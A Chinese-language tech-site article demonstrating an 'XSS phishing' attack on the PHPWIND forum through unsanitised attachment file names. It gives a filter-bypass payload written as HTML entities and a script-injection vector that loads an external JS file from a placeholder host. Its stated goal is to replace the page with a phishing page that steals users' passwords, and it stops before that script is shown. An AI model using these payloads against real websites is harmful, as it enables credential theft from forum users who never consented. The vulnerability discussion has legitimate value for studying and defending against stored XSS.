网络安全 频道

XSS Phishing - 新式跨站脚本攻击方式

    【IT168 专稿】最近跨站脚本漏洞好像比较火,国内的一些比较出名的WEB程序都陆续暴出了跨站脚本漏洞,但是一提到跨站脚本漏洞的攻击方式大家都哑火了,因为在常规的概念中这种漏洞最多是挂网页木马,获取COOKIE之类,属于典型的鸡肋漏洞!

    跨站脚本攻击最大的魅力是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,甚至可以模拟用户当前的操作。我这里介绍一种新式攻击方法:XSS Phishing(跨站脚本钓鱼攻击),利用这种方式可以直接盗取用户的密码,下面我就拿最近PHPWIND论坛所暴出的XSS做一下演示,PHPWIND对上传文件名没有处理严格,导致可以写入跨站脚本。

    先做一个简单的测试,发一篇新帖,在附件中随意写入一个本地路径加带“<” 和“>”的文件名,如图一

    发帖成功后我们会发现,帖子附件名已经没有了,如图二

    我们查看当前页面的源代码会发现<xss>已经写到页面内,如图三

    当然要写入脚本,PHPWIND还是做了限制,文件名中出现"(","/"字符将会被过滤,不过可以利用HTML转码的方式绕过这个限制,如<TABLE BACKGROUND=javscript:alert(/xss/)>转换成

    <TABLE BACKGROUND=&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#47&#120&#115&#115&#47&#41>

    这样我们已经实现了跨站脚本的写入,关键是怎么实现攻击,这一处跨站脚本漏洞进行了HTML转码,我们不方便写入过长的内容,那么就加载一个JS文件,动态创建一个script标记,代码如下:

    <TABLE BACKGROUND=javascript:s=document.createElement("script");s.src="http://xxx.com/xss.js";document.body.appendChild(s);>

    OK,到了这一步我们就可以在JS中任意构造我们的攻击代码,攻击的思路是当用户访问帖子,利用脚本清空当前页面,然后重新写成钓鱼页面。

0
相关文章